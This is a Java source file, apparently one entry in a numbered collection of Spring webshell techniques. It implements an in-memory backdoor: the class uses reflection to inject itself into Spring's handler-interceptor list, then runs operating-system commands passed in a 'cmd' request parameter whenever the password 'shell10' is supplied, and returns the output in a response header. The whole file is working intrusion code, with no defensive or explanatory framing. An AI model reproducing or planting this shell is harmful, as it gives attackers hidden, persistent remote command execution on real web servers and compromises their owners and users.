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No10_HandlerInterceptorShell.java
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54 lines (48 loc) · 2.81 KB
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package com.example.springshell.memshell;
import com.example.springshell.utils.Util;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import java.io.IOException;
import java.io.InputStream;
import java.util.List;
import java.util.Scanner;
public class No10_HandlerInterceptorShell implements HandlerInterceptor {
public static String injectShell() throws IllegalAccessException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = (RequestMappingHandlerMapping) context.getBean("requestMappingHandlerMapping");
List<HandlerInterceptor> adaptedInterceptors = (List<HandlerInterceptor>) Util.getFieldValue(mappingHandlerMapping,"adaptedInterceptors");
adaptedInterceptors.add(new No10_HandlerInterceptorShell());
// for (HandlerInterceptor adaptedInterceptor : adaptedInterceptors) {
// System.out.println(adaptedInterceptor);
// }
return "{\"result\":\"No10_HandlerInterceptorShell\"}";
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String passwd = request.getParameter("pass");
String cmd = request.getParameter("cmd");
if (passwd!=null && cmd!=null && passwd.equals("shell10") && !cmd.isEmpty()){
try {
boolean islinux = true;
String osType = System.getProperty("os.name");
if (osType !=null && osType.toLowerCase().contains("win")){
islinux = false;
}
String[] cmds = islinux ? new String[]{"sh","-c",request.getParameter("cmd")} : new String[]{"cmd.exe","/c",request.getParameter("cmd")};
InputStream in = null;
in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
// response.setHeader("Exec-result",new String(Base64.getEncoder().encode(output.getBytes())));
response.setHeader("Exec-result",new String(output));
} catch (IOException e) {
throw new RuntimeException(e);
}
}
return HandlerInterceptor.super.preHandle(request, response, handler);
}
}